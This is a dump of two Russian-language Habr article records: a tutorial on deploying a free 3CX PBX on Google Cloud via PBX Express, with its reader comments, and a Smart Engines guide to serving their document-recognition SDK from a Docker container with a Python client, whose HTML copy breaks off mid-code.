<div xmlns="http://www.w3.org/1999/xhtml">Сегодня мы поговорим о том, как за 15 минут самостоятельно создать бесплатную облачную АТС 3CX на 8 одновременных вызовов в облаке Google. Однако, если раньше размещение в облаке было платным, то теперь появилась возможность использовать инфраструктуру Google бесплатно в течении 12 месяцев!<br/> <br/> Все, что нам потребуется — аккаунт Google и платежная карта. Сразу отмечу, что карта нужна только для подтверждения того, что вы не робот. После завершения 12 месяцев, средства с нее также списываться не будут до вашего решения.<a name="habracut"></a><br/> <br/> <h2>Создание проекта Google Cloud Platform</h2><br/> Зайдите в <a href="https://cloud.google.com/">консоль Google Cloud Platform</a> с вашими учетными данными Google и примите условия использования сервиса. Затем укажите информацию о себе и данные платежной карты.<br/> <br/> <img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/9e5/b32/e3d/9e5b32e3dabfe71fe74eaaa345f38735.png" data-src="https://habrastorage.org/getpro/habr/post_images/9e5/b32/e3d/9e5b32e3dabfe71fe74eaaa345f38735.png"/><br/> <br/> После этого пробный период будет активирован.<br/> <br/> <img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/25f/4c1/ceb/25f4c1ceb8087689a87f73b1aa74fc8f.png" data-src="https://habrastorage.org/getpro/habr/post_images/25f/4c1/ceb/25f4c1ceb8087689a87f73b1aa74fc8f.png"/><br/> <br/> Далее вам будет предложено создать новый проект или использовать уже имеющийся. Обратите внимание на его название.<br/> <br/> <img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/134/130/561/1341305612f4c8fd8bb3928ce5747714.png" data-src="https://habrastorage.org/getpro/habr/post_images/134/130/561/1341305612f4c8fd8bb3928ce5747714.png"/><br/> <br/> Создав проект, перейдите раздел Compute Engine — Экземпляры VM. Здесь создаются виртуальные машины разной емкости. <b>Не создавайте экземпляр</b>, а просто просмотрите предлагаемые опции. В частности, обратите внимание на мощность и стоимость виртуальных машин. Для небольшой АТС на 8 вызовов вполне подойдет «небольшая машина». Ее стоимость зависит от места размещения.<br/> <br/> <img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/fc1/6cb/9c3/fc16cb9c371387b4337f1643de8ea930.png" data-src="https://habrastorage.org/getpro/habr/post_images/fc1/6cb/9c3/fc16cb9c371387b4337f1643de8ea930.png"/><br/> <br/> На этом подготовка Google Cloud Console завершена. Продолжим создание АТС в сервисе PBX Express.   <br/> <br/> <h2>Активация АТС в сервисе PBX Express</h2><br/> Перейдите в интерфейс сервиса <a href="https://pbxexpress.3cx.com/">3CX PBX Express</a>, укажите имя создаваемого сервера 3CX и доменную зону, в которой он будет расположен.<br/> <br/> <img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/1eb/b17/69e/1ebb1769ed67428f425005f009ed2902.png" data-src="https://habrastorage.org/getpro/habr/post_images/1eb/b17/69e/1ebb1769ed67428f425005f009ed2902.png"/><br/> <br/> Укажите учетные данные администратора АТС. На e-mail администратора будут приходить все уведомления системы. <br/> <br/> <img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/178/122/c38/178122c380c8d29b15e207a48904047a.png" data-src="https://habrastorage.org/getpro/habr/post_images/178/122/c38/178122c380c8d29b15e207a48904047a.png"/><br/> <br/> Выберите длину внутреннего (добавочного) номера пользователя. <b>Будьте внимательны — в дальнейшем ее изменить нельзя без переустановки системы!</b> Для небольшой компании рекомендуется длина не более 2-3 цифр.<br/> <br/> <img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/9fb/676/f13/9fb676f130d564e5eb472cf7697a99a5.png" data-src="https://habrastorage.org/getpro/habr/post_images/9fb/676/f13/9fb676f130d564e5eb472cf7697a99a5.png"/><br/> <br/> Укажите место расположения, часовой пояс и язык системных голосовых сообщений АТС. Информация о стране и часовом поясе используется, в том числе, для дополнительной безопасности системы и автоматической настройки аппаратных IP-телефонов.<br/> <br/> <img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/aa0/fc9/562/aa0fc95628367ba6e7234fef40083b1e.png" data-src="https://habrastorage.org/getpro/habr/post_images/aa0/fc9/562/aa0fc95628367ba6e7234fef40083b1e.png"/> <br/> <br/> Теперь добавьте пользователей АТС. Я создал одного пользователя с номером 200, однако вы можете указать всех пользователей вашей организации.<br/> <br/> <img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/5c0/7f4/63e/5c07f463e479087e107c6aa39b6c0368.png" data-src="https://habrastorage.org/getpro/habr/post_images/5c0/7f4/63e/5c07f463e479087e107c6aa39b6c0368.png"/><br/> <br/> На следующем этапе укажите, что используете собственный аккаунт Google.<br/> <br/> <img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/4d2/14e/08f/4d214e08fac71260b0086e7c7dd63153.png" data-src="https://habrastorage.org/getpro/habr/post_images/4d2/14e/08f/4d214e08fac71260b0086e7c7dd63153.png"/><br/> <br/> Появится окно авторизации, в котором выберите тот аккаунт, под которым создавался проект Google Cloud Platform.<br/> <br/> <img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/224/7f0/669/2247f066979e354887405e7c4cdf0e2d.png" data-src="https://habrastorage.org/getpro/habr/post_images/224/7f0/669/2247f066979e354887405e7c4cdf0e2d.png"/><br/> <br/> После этого в интерфейсе мастера появится выбор созданного ранее проекта Google Cloud Platform, места расположения и мощности экземпляра АТС. Я выбрал небольшую виртуальную машину, которой вполне достаточно для нагрузки в 8 одновременных вызовов.  <br/> <br/> <img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/a27/784/f59/a27784f593622d608bb9cc5bfeffc978.png" data-src="https://habrastorage.org/getpro/habr/post_images/a27/784/f59/a27784f593622d608bb9cc5bfeffc978.png"/> <br/> <br/> На финальном укажите регистрационные данные, на которые будет сгенерирована лицензия. <b>Указывайте реальную информацию о вас и организации, поскольку она затем верифицируется компанией 3CX.</b> В случае сомнений сотрудника 3CX в правдоподобности указанных сведений, ваша АТС утратит возможность автоматического обновления.<br/> <br/> <img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/743/115/9be/7431159be49e58c94a6cde32f7cc9fe2.png" data-src="https://habrastorage.org/getpro/habr/post_images/743/115/9be/7431159be49e58c94a6cde32f7cc9fe2.png"/><br/> <br/> Нажав кнопку Finish, вы получите на указанный e-mail код верификации, который необходимо вставить в появившееся окно. Этот код связывает созданную конфигурацию 3CX PBX Express с проектом Google Cloud Platform.<br/> <br/> <img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/c7d/9f4/08e/c7d9f408efcd858490fe73146c0e60aa.png" data-src="https://habrastorage.org/getpro/habr/post_images/c7d/9f4/08e/c7d9f408efcd858490fe73146c0e60aa.png"/><br/> АТС будет полностью готова примерно через 10 минут. Вы увидите это как в интерфейсе мастера, так и в полученном e-mail с параметрами подключения. Каждому добавленному пользователю также придет e-mail с файлом автоматической конфигурации программных клиентов 3CX для Windows, Mac, Android и iPhone, а также URL доступа в веб-клиент.<br/> <br/> <img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/38b/dbb/931/38bdbb931a461bc947795b70d0c9c3c5.png" data-src="https://habrastorage.org/getpro/habr/post_images/38b/dbb/931/38bdbb931a461bc947795b70d0c9c3c5.png"/><br/> <br/> В интерфейсе Google Cloud Platform появится автоматически созданный экземпляр виртуальном машины.<br/> <br/> <img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/278/958/6ec/2789586ec16c1f5bded6862f3a2953fe.png" data-src="https://habrastorage.org/getpro/habr/post_images/278/958/6ec/2789586ec16c1f5bded6862f3a2953fe.png"/><br/> <br/> Если вы партнер 3CX, аналогично можно создать и другие экземпляры бесплатной АТС для ваших клиентов. Однако тут существуют некоторые ограничения, о которых мы поговорим ниже.<br/> <br/> <h2>Ограничения бесплатной системы</h2><br/> В заключении, конечно, стоит сказать об ограничениях бесплатной АТС, созданной в сервисе PBX Express.<br/> <br/> Бесплатная АТС называется PBX Edition и имеет несколько урезанный набор возможностей, указанный <a href="https://www.3cx.ru/ip-pbx/edition-comparison/">здесь</a>. По истечении года использования вам будет предложено <a href="https://www.3cx.com/ordering/pricing/3cx-maintenance/">продлить подписку на обновления</a> или перейти на коммерческую версию системы. <br/> <br/> Бесплатный аккаунт (и экземпляр виртуальной машины) Google Cloud Platform может иметь только один статический IP адрес. С другой стороны, такой аккаунт использует до 8 т.н. «эфемерных» (динамических) публичных IP адресов. Поэтому, если вы планируете разместить в вашем аккаунте несколько экземпляров АТС 3CX, используйте «эфемерные» IP адреса.<br/> <br/> <img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/5a7/45c/36e/5a745c36e1bcb1fad3c1f21daa1664fe.png" data-src="https://habrastorage.org/getpro/habr/post_images/5a7/45c/36e/5a745c36e1bcb1fad3c1f21daa1664fe.png"/><br/> <br/> Также рекомендую обратить внимание на <a href="https://cloud.google.com/free/">«всегда бесплатные» предложения Google</a>. В частности, по этой программе предлагается неограниченное бесплатное использование системы небольшой емкости:<br/> <br/> <ul> <li>1 экземпляр f1-micro, размещенный в США (кроме Северной Вирджинии)<br/> </li> <li>30 GB диск и 5 GB снапшот<br/> </li> <li>1 GB исходящего трафика в месяц во все регионы (кроме Китая и Австралии)<br/> </li> </ul><br/> Такая конфигурация вполне подойдет для нужд небольшого офиса.</div>
Игорь Снежко (snezhko)
null
null
Сегодня мы поговорим о том, как за 15 минут самостоятельно создать бесплатную облачную АТС 3CX на 8 одновременных вызовов в облаке Google. Однако, если раньше размещение в облаке было платным, то теперь появилась возможность использовать инфраструктуру Google бесплатно в течении 12 месяцев!<br> <br> Все, что нам потребуется — аккаунт Google и платежная карта. Сразу отмечу, что карта нужна только для подтверждения того, что вы не робот. После завершения 12 месяцев, средства с нее также списываться не будут до вашего решения.
Сегодня мы поговорим о том, как за 15 минут самостоятельно создать бесплатную облачную АТС 3CX на 8 одновременных вызовов в облаке Google. Однако, если раньше размещение в облаке было платным, то теперь появилась возможность использовать инфраструктуру Google бесплатно в течении 12 месяцев! Все, что нам потребуется — аккаунт Google и платежная карта. Сразу отмечу, что карта нужна только для подтверждения того, что вы не робот. После завершения 12 месяцев, средства с нее также списываться не будут до вашего решения.
article
1,508,163,685
{ "commentsCount": 6, "favoritesCount": 38, "readingCount": 4485, "score": 3, "votesCount": 3, "votesCountPlus": 3, "votesCountMinus": 0 }
[ "recovery" ]
[ "3cx", "sys_admin", "it-infrastructure", "network_technologies", "s_admin" ]
[ "admin" ]
[ "3CX", "PBX Express", "Google Cloud", "бесплатно", "АТС" ]
3
tutorial
null
{ "id": [ 10476780, 10476848, 10477182, 10477260, 18744563, 18745251 ], "parent_id": [ null, 10476780, null, 10477182, null, 18744563 ], "level": [ 0, 1, 0, 1, 0, 1 ], "time_published": [ 1508217389, 1508220592, 1508230120, 1508232461, 1528354831, 1528362200 ], "score": [ 0, 0, 0, 0, 0, 0 ], "votes": [ 0, 0, 0, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">… или просто воспользоваться <a href=\"https://telephony.yandex.ru/\">telephony.yandex.ru</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вы привели пример виртуальной АТС. А 3CX — локальный сервер, который может размещаться в облаке. Да и задачи / возможности у него совсем другие <a href=\"https://www.3cx.ru/ip-pbx/edition-comparison/\">www.3cx.ru/ip-pbx/edition-comparison</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">только сегодня ушли от 3CX и вернулись в железной myPBX после месяца мучений.<br/>\r\n1) бесконечное залипание транков. <br/>\r\n2) некоректное поведение с оператором (звонок проходит, но в логе станции Forbidden)<br/>\r\n3) если транков несколько нельзя производить донабор на внутренние (т.к. DDI привязываемый к внутреннему номеру и к транку) <br/>\r\n4) тех. поддержка в основном — «это мы не делаем, это мы не настраиваем»<br/>\r\n<br/>\r\nиз плюсов разве что: запись разговоров (на myPBX Standard не предусмотрено) и приложение с тунеллированием. <br/>\r\nНО когда тебе не могут дозвониться — не до приложений.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Неприятно, конечно.<br/>\r\n1. Тут может быть либо проблема с вашим маршрутизатором, либо, действительно, несовместимость транка оператора с 3CX, что случается довольно редко.<br/>\r\n2. Forbidden — стандартная ошибка SIP, тут просто надо разобраться в логах, что куда идёт. Это не похоже на баг.<br/>\r\n3. Не понял сути проблемы.<br/>\r\n4. Действительно, техподдержка работает только с официально поддерживаемым оборудованием. Но это и логично, ведь сложно отвечать за чужие сети и их конфигурацию.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Поставили вчера 15.5 c установками по умолчанию. Проблема с качеством звука не позволяет продолжать тестирование. Пробовали менять порядок кодеков, 722 первым в списке и на сервере и у клиента. Если сравнивать со скайпом — небо и земля, звучит как будто полоса порезана, плюс слабое эхо. Использовались в одном случае софтфоны от 3cx на Windows, разговоры двух абонентов через сервер (без телефонной связи). Второй тест между айфоном и софтфоном от 3cx на Windows. Ping до сервера 12 ms.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Попробуйте использовать кодек G.729 и качественную USB гранитуру с шумоподавлением, например (из недорогих), MAIRDI MRD-805UC</div>" ], "message_markdown": [ "... или просто воспользоваться telephony.yandex.ru", "Вы привели пример виртуальной АТС. А 3CX — локальный сервер, который может размещаться в облаке. Да и задачи / возможности у него совсем другие www.3cx.ru/ip-pbx/edition-comparison", "только сегодня ушли от 3CX и вернулись в железной myPBX после месяца мучений.\n1) бесконечное залипание транков.\n2) некоректное поведение с оператором (звонок проходит, но в логе станции Forbidden)\n3) если транков несколько нельзя производить донабор на внутренние (т.к. DDI привязываемый к внутреннему номеру и к транку)\n4) тех. поддержка в основном — «это мы не делаем, это мы не настраиваем»\nиз плюсов разве что: запись разговоров (на myPBX Standard не предусмотрено) и приложение с тунеллированием.\nНО когда тебе не могут дозвониться — не до приложений.", "Неприятно, конечно.\n1\\. Тут может быть либо проблема с вашим маршрутизатором, либо, действительно, несовместимость транка оператора с 3CX, что случается довольно редко.\n2\\. Forbidden — стандартная ошибка SIP, тут просто надо разобраться в логах, что куда идёт. Это не похоже на баг.\n3\\. Не понял сути проблемы.\n4\\. Действительно, техподдержка работает только с официально поддерживаемым оборудованием. Но это и логично, ведь сложно отвечать за чужие сети и их конфигурацию.", "Поставили вчера 15.5 c установками по умолчанию. Проблема с качеством звука не позволяет продолжать тестирование. Пробовали менять порядок кодеков, 722 первым в списке и на сервере и у клиента. Если сравнивать со скайпом — небо и земля, звучит как будто полоса порезана, плюс слабое эхо. Использовались в одном случае софтфоны от 3cx на Windows, разговоры двух абонентов через сервер (без телефонной связи). Второй тест между айфоном и софтфоном от 3cx на Windows. Ping до сервера 12 ms.", "Попробуйте использовать кодек G.729 и качественную USB гранитуру с шумоподавлением, например (из недорогих), MAIRDI MRD-805UC" ], "author": [ "Ашурок Алексей (AotD)", "Игорь Снежко (snezhko)", "Yegorov Vassiliy (vasyakrg)", "Игорь Снежко (snezhko)", "Jinglebens", "Игорь Снежко (snezhko)" ], "children": [ [ 10476848 ], [], [ 10477260 ], [], [ 18745251 ], [] ] }
711,822
ru
https://habr.com/ru/post/711822/
Встраиваем распознавание документов от Smart Engines куда угодно за пять минут
Привет! Мы, Smart Engines, многие годы занимаемся созданием ПО для распознавания документов, удостоверяющих личность, гибких форм, банковских карт, штрихкодов и так далее - всего более двух с половиной тысяч различных документов. С помощью нашего ПО клиенты решают самые разные задачи с различными сценариями использования (сканирование штрихкодов и банковских карт в мобильных приложениях и вебе, автоматизация заполнения шаблонов на основе распознанных ДУЛ, распознавание паспорта РФ). За всё время мы тысячу раз сталкивались с запросом “дайте какое-нибудь простое решение с API, которым нам можно было бы пользоваться”. Дело, конечно, хорошее, но функциональность у нашей системы очень богатая. Единый API, который подходил бы всем нашим заказчикам со своими разными задачами и разными сценариями использования, был бы переусложнен. В этой статье мы покажем пример того, как с помощью Docker, Python и нашего SDK самому реализовать простейшее решение для распознавания документов. * * * Дисклеймер: в статье описан лишь пример использования библиотеки, предназначенный для оценки ресурсов на встраивание или быстрого развёртывания MVP! Предлагаем такую схему - сервер внутри докера, реализующий некоторое API и линкующийся к нашей библиотеке распознавания, и клиент (не зависящий от нашей библиотеки) отправляющий на контролируемый вами сервер и получения результата распознавания. Это позволит иметь постоянно “живой” сервер распознавания, готовый к работе. Так, клиент отправляет серверу запрос в виде json, в котором лежат настройки для распознавания и сама картинка, потом ждёт ответ в виде json с полями распознанного документа. В самом простом случае всё сводится к отправке одной картинки на сервер. Простейший запрос на сервер будет выглядеть так: [code] settings = { "mask": [mask], # тип распознаваемого документа, или "*" для режима автодетекции "input": input, # файл с картинкой в бинарном виде "signature": signature # персональная подпись клиента } [/code] В качестве “input” будет взятое из файловой системы изображение, передавать будем через питоновский asyncio: [code] reader, writer = await asyncio.open_connection(endpoint, port) # Отправляем запрос serialized_data = pickle.dumps(settings) writer.write(struct.pack('<L', len(serialized_data))) writer.write(serialized_data) await writer.drain() #Дальше ждём ответ и сохраняем его в файл: request_size = struct.unpack('<L', await reader.readexactly(4))[0] request_body = await reader.readexactly(request_size) message = pickle.loads(request_body) writer.close() await save_result(message) [/code] Механизм максимально простой, перейдём теперь непосредственно к серверу. Вначале разберёмся, как вообще использовать библиотеку распознавания, потом посмотрим, что делать с полученной из неё информацией. Для работы с модулем распознавания первым делом нужно его подключить: [code] sys.path.append(os.path.join(sys.path[0], './bindings/python/')) sys.path.append(os.path.join(sys.path[0], './bin/')) import pyidengine [/code] Следом нужно инициализировать движок - под движком мы подразумеваем набор инструментов для распознавания. Библиотека поддерживает ленивую инициализацию, что позволяет экономить оперативную память, но увеличивает время распознавания первого кадра. Инициализация производится с помощью конфигурационного бандла, описывающего набор поддерживаемых системой документов. Инициализация движка должна проводиться один раз за всё время, т.к. в процессе распознавания библиотека переиспользует ранее инициализированные компоненты. [code] global_engine = pyidengine.IdEngine.Create(bundle_path, lazy_init) [/code] За само распознавание отвечает “сессия распознавания” - объект, в который нужно передать изображение, чтобы на выходе получить результат. Сессией это называется, потому что в один объект можно последовательно передать несколько изображений одного и того же документа. Тогда результат, получаемый после передачи каждого нового изображения, будет комбинированным по всем предыдущим распознаваниям из этой же сессии. Это можно использовать для повышения точности распознавания в случае, если у вас есть несколько фотографий одного и того же документа (особенно в случае неважного качества изображений), также на этом механизме строится распознавание из видеопотока. Для того чтобы настроить распознавание конкретных документов, существует отдельный механизм “опций сессии” - тоже объект, в котором хранятся настройки. [code] # Создаём объект с опциями сессии session_settings = global_engine.CreateSessionSettings() # Сообщаем сессии, какие типы документов можно искать for docmask in mask: session_settings.AddEnabledDocumentTypes(docmask) # Создаём сессию, передавая контейнер настроек и подпись клиента session = global_engine.SpawnSession(session_settings, signature) [/code] Теперь осталось передать изображение в сессию распознавания и получить результат: [code] # Картинка JPEG, переданная в виде base64 file = base64.b64encode(buffer).decode("utf-8") image = pyidengine.Image.FromBase64Buffer(file) # Отдаем картинку на распознавание и получаем результат session.Process(image) current_result = session.GetCurrentResult() [/code] Результат получили, теперь нужно вытащить из него необходимую нам информацию. В возвращаемом библиотекой результате распознавания куча разной информации: координаты шаблона документа (в пикселях) и всех полей, поля текстовые, поля с изображениями (стандарт - фото и подпись владельца документа, но можно достать даже вырезанные и проективно исправленные изображения текстовых полей), для каждого символа из текстовых полей есть набор альтернатив вместе с весами каждой альтернативы (позволяет работать с результатом распознавания уже вне нашей библиотеки), всяческие атрибуты (реальный DPI изображения, рассчитываемый исходя из физических размеров документа, форматы полей и так далее). В данном примере мы воспользуемся только содержимым текстовых полей: [code] def RecognitionResult(recog_result): result = {} result['docType'] = recog_result.GetDocumentType() fields = {} # Извлекаем текстовые поля tf = recog_result.TextFieldsBegin() while(tf != recog_result.TextFieldsEnd()): info = tf.GetValue().GetBaseFieldInfo() field = { 'name': tf.GetKey(), 'value': tf.GetValue().GetValue().GetFirstString().GetCStr(), 'isAccepted': info.GetIsAccepted() } # ... и извлекаем все остальное что нам нужно, если нужно ... return result [/code] На выходе получим json, который и перешлём обратно к клиенту. Теперь можно переходить к сборке Docker-образа с библиотекой, Python-обёрткой и скриптом сервера. Пару слов об обёртках: поскольку мы поставляем основную библиотеку в виде shared library, обёртки представляют собой набор из интерфейса на том языке, под который собираем обёртку, и библиотеки-транслятора вызовов из приложения в нашу библиотеку. Соответственно, для использования нужно подключить интерфейс к приложению и правильно слинковать все библиотеки. Для того, чтобы пользователь мог собрать обёртки под именно ту систему, которую он использует у себя в проде, мы кладём в SDK все инструменты для автогенерации Python-обёртки. Для того чтобы избежать проблем с линковкой к разным версиям Python, мы будем использовать так называемый multi-stage build. Это позволит нам в первом образе установить необходимые зависимости для сборки, произвести саму сборку обёртки, а потом просто перенести результат в новый чистый образ. [code] # Берем образ Ubuntu и задаем его как образ для сборки FROM ubuntu:22.04 AS builder # Копируем наш SDK в этот образ COPY "./IdEngineSDK" /home/idengine # Зададим рабочий каталог WORKDIR "/home/idengine/samples/idengine_sample_python/" # Отключим интерактивный режим, иначе установка образа из Dockerfile не получится ENV DEBIAN_FRONTEND noninteractive # А теперь поставим необходимые зависимости RUN set -xe </span> && apt -y update </span> && apt -y install tcl </span> && apt -y install build-essential </span> && apt -y install make </span> && apt -y install cmake </span> && apt -y install python3-dev # Эта команда компилирует модуль для питона для нашей библиотеки. RUN ./build_python_wrapper.sh "../../bin" 3 [/code] Итак, модуль для Python собран. Теперь же нам нужно создать чистый образ и перенести все туда. Для этого нам нужно только поставить Python в новый образ, а после скопировать из предыдущего образа папку с библиотекой, обертку для нее, конфигурационный бандл и сам скрипт сервера, а после запустить вместе с контейнером. В итоге всех проделанных манипуляций имеем готовый Docker-образ с сервером распознавания и скрипт, позволяющий с помощью json отправлять на этот сервер картинку с документом и получать ответ в виде json с распознанными полями документа. Давайте протестируем на картинке из википедии. Отправим запрос вида: [code] python3 client.py --image_path=/home/tolstov/Deutscher_Personalausweis_(1987_Version).jpg [/code] Получим ответ: JSON с данными [code] { "error": false, "response": { "docType": "deu.id.type2", "fields": { "birth_date": { "isAccepted": true, "name": "birth_date", "value": "12.08.1964" }, "birth_place": { "isAccepted": true, "name": "birth_place", "value": "MÜNCHEN" }, "expiry_date": { "isAccepted": true, "name": "expiry_date", "value": "07.10.2011" }, "full_mrz": { "isAccepted": true, "name": "full_mrz", "value": "IDD<<MUSTERMANN<<ERIKA<<<<<<<<<<<<<<1220001518D<<6408125<1110078<<<<<<<0" }, "last_name": { "isAccepted": true, "name": "last_name", "value": "MUSTERMANN" }, "last_name0": { "isAccepted": true, "name": "last_name0", "value": "MUSTERMANN" }, "mrz_birth_date": { "isAccepted": true, "name": "mrz_birth_date", "value": "12.08.1964" }, "mrz_cd_birth_date": { "isAccepted": true, "name": "mrz_cd_birth_date", "value": "5" }, "mrz_cd_composite": { "isAccepted": true, "name": "mrz_cd_composite", "value": "0" }, "mrz_cd_expiry_date": { "isAccepted": true, "name": "mrz_cd_expiry_date", "value": "8" }, "mrz_cd_number": { "isAccepted": true, "name": "mrz_cd_number", "value": "8" }, "mrz_doc_type_code": { "isAccepted": true, "name": "mrz_doc_type_code", "value": "ID" }, "mrz_expiry_date": { "isAccepted": true, "name": "mrz_expiry_date", "value": "07.10.2011" }, "mrz_gender": { "isAccepted": true, "name": "mrz_gender", "value": "<" }, "mrz_issuer": { "isAccepted": true, "name": "mrz_issuer", "value": "D" }, "mrz_last_name": { "isAccepted": true, "name": "mrz_last_name", "value": "MUSTERMANN" }, "mrz_line1": { "isAccepted": true, "name": "mrz_line1", "value": "IDD<<MUSTERMANN<<ERIKA<<<<<<<<<<<<<<" }, "mrz_line2": { "isAccepted": true, "name": "mrz_line2", "value": "1220001518D<<6408125<1110078<<<<<<<0" }, "mrz_name": { "isAccepted": true, "name": "mrz_name", "value": "ERIKA" }, "mrz_nationality": { "isAccepted": true, "name": "mrz_nationality", "value": "D" }, "mrz_number": { "isAccepted": true, "name": "mrz_number", "value": "122000151" }, "mrz_opt_data_2": { "isAccepted": true, "name": "mrz_opt_data_2", "value": "" }, "name": { "isAccepted": true, "name": "name", "value": "ERIKA" }, "nationality": { "isAccepted": true, "name": "nationality", "value": "DEUTSCH" }, "number": { "isAccepted": false, "name": "number", "value": "1946881314" } } } } [/code] Описанные выше скрипты для клиент-серверного взаимодействия, а также dockerfile для сборки и документацию мы предоставляем в составе отгружаемого SDK, как один из примеров использования нашей библиотеки. Посмотреть их можно также на гитхабе.
<div xmlns="http://www.w3.org/1999/xhtml"><p>Привет!</p><p>Мы, <a href="https://smartengines.ru/">Smart Engines</a>, многие годы занимаемся созданием ПО для распознавания <a href="https://smartengines.ru/smart-idreader/">документов, удостоверяющих личность</a>, <a href="https://smartengines.ru/intelligent-document-recognition/">гибких форм</a>, <a href="https://smartengines.ru/smart-code-engine/">банковских карт, штрихкодов</a> и так далее - всего более двух с половиной тысяч различных документов. С помощью нашего ПО клиенты решают самые разные задачи с различными сценариями использования (сканирование штрихкодов и банковских карт в мобильных приложениях и<a href="https://habr.com/ru/company/smartengines/blog/686408/"> вебе</a>, автоматизация <a href="https://habr.com/ru/company/smartengines/blog/672896/">заполнения шаблонов</a> на основе распознанных ДУЛ, <a href="https://habr.com/ru/company/smartengines/news/t/560204/">распознавание паспорта РФ</a>). За всё время мы тысячу раз сталкивались с запросом “дайте какое-нибудь простое решение с API, которым нам можно было бы пользоваться”. Дело, конечно, хорошее, но функциональность у нашей системы очень богатая. Единый API, который подходил бы всем нашим заказчикам со своими разными задачами и разными сценариями использования, был бы переусложнен. В этой статье мы покажем пример того, как с помощью Docker, Python и нашего SDK самому реализовать простейшее решение для распознавания документов. </p><hr/><p><em>Дисклеймер: в статье описан лишь пример использования библиотеки, предназначенный для оценки ресурсов на встраивание или быстрого развёртывания MVP!</em></p><p>Предлагаем такую схему - сервер внутри докера, реализующий некоторое API и линкующийся к нашей библиотеке распознавания, и клиент (не зависящий от нашей библиотеки) отправляющий на контролируемый вами сервер и получения результата распознавания. Это позволит иметь постоянно “живой” сервер распознавания, готовый к работе. Так, клиент отправляет серверу запрос в виде json, в котором лежат настройки для распознавания и сама картинка, потом ждёт ответ в виде json с полями распознанного документа. В самом простом случае всё сводится к отправке одной картинки на сервер.</p><p>Простейший запрос на сервер будет выглядеть так:</p><pre><code class="json">settings = {   "mask": [mask], # тип распознаваемого документа, или "*" для режима автодетекции   "input": input, # файл с картинкой в бинарном виде   "signature": signature # персональная подпись клиента }</code></pre><p>В качестве “input” будет взятое из файловой системы изображение, передавать будем через питоновский asyncio:</p><pre><code class="python">reader, writer = await asyncio.open_connection(endpoint, port) # Отправляем запрос serialized_data = pickle.dumps(settings) writer.write(struct.pack('&lt;L', len(serialized_data))) writer.write(serialized_data) await writer.drain() #Дальше ждём ответ и сохраняем его в файл: request_size = struct.unpack('&lt;L', await reader.readexactly(4))[0] request_body = await reader.readexactly(request_size) message = pickle.loads(request_body) writer.close() await save_result(message)</code></pre><p>Механизм максимально простой, перейдём теперь непосредственно к серверу. Вначале разберёмся, как вообще использовать библиотеку распознавания, потом посмотрим, что делать с полученной из неё информацией.</p><p>Для работы с модулем распознавания первым делом нужно его подключить:</p><pre><code class="python">sys.path.append(os.path.join(sys.path[0], './bindings/python/')) sys.path.append(os.path.join(sys.path[0], './bin/')) import pyidengine</code></pre><p>Следом нужно инициализировать движок - под движком мы подразумеваем набор инструментов для распознавания. Библиотека поддерживает ленивую инициализацию, что позволяет экономить оперативную память, но увеличивает время распознавания первого кадра. Инициализация производится с помощью конфигурационного бандла, описывающего набор поддерживаемых системой документов. Инициализация движка должна проводиться один раз за всё время, т.к. в процессе распознавания библиотека переиспользует ранее инициализированные компоненты. </p><pre><code class="python">global_engine = pyidengine.IdEngine.Create(bundle_path, lazy_init)</code></pre><p>За само распознавание отвечает “сессия распознавания” - объект, в который нужно передать изображение, чтобы на выходе получить результат. Сессией это называется, потому что в один объект можно последовательно передать несколько изображений одного и того же документа. Тогда результат, получаемый после передачи каждого нового изображения, будет комбинированным по всем предыдущим распознаваниям из этой же сессии. Это можно использовать для повышения точности распознавания в случае, если у вас есть несколько фотографий одного и того же документа (особенно в случае неважного качества изображений), также на этом механизме строится распознавание из видеопотока. Для того чтобы настроить распознавание конкретных документов, существует отдельный механизм “опций сессии” - тоже объект, в котором хранятся настройки. </p><pre><code class="python"># Создаём объект с опциями сессии session_settings = global_engine.CreateSessionSettings() # Сообщаем сессии, какие типы документов можно искать for docmask in mask:   session_settings.AddEnabledDocumentTypes(docmask) # Создаём сессию, передавая контейнер настроек и подпись клиента session = global_engine.SpawnSession(session_settings, signature)</code></pre><p>  Теперь осталось передать изображение в сессию распознавания и получить результат:</p><pre><code class="python"># Картинка JPEG, переданная в виде base64 file = base64.b64encode(buffer).decode("utf-8") image = pyidengine.Image.FromBase64Buffer(file) # Отдаем картинку на распознавание и получаем результат session.Process(image) current_result = session.GetCurrentResult()</code></pre><p>Результат получили, теперь нужно вытащить из него необходимую нам информацию. В возвращаемом библиотекой результате распознавания куча разной информации: координаты шаблона документа (в пикселях) и всех полей, поля текстовые, поля с изображениями (стандарт - фото и подпись владельца документа, но можно достать даже вырезанные и проективно исправленные изображения текстовых полей), для каждого символа из текстовых полей есть набор альтернатив вместе с весами каждой альтернативы (позволяет работать с результатом распознавания уже вне нашей библиотеки), всяческие атрибуты (реальный DPI изображения, рассчитываемый исходя из физических размеров документа, форматы полей и так далее). В данном примере мы воспользуемся только содержимым текстовых полей:</p><pre><code class="python">def RecognitionResult(recog_result):   result = {}   result['docType'] = recog_result.GetDocumentType()   fields = {}   # Извлекаем текстовые поля   tf = recog_result.TextFieldsBegin()   while(tf != recog_result.TextFieldsEnd()):     info = tf.GetValue().GetBaseFieldInfo()     field = {       'name': tf.GetKey(),       'value': tf.GetValue().GetValue().GetFirstString().GetCStr(),       'isAccepted': info.GetIsAccepted()     }   # ... и извлекаем все 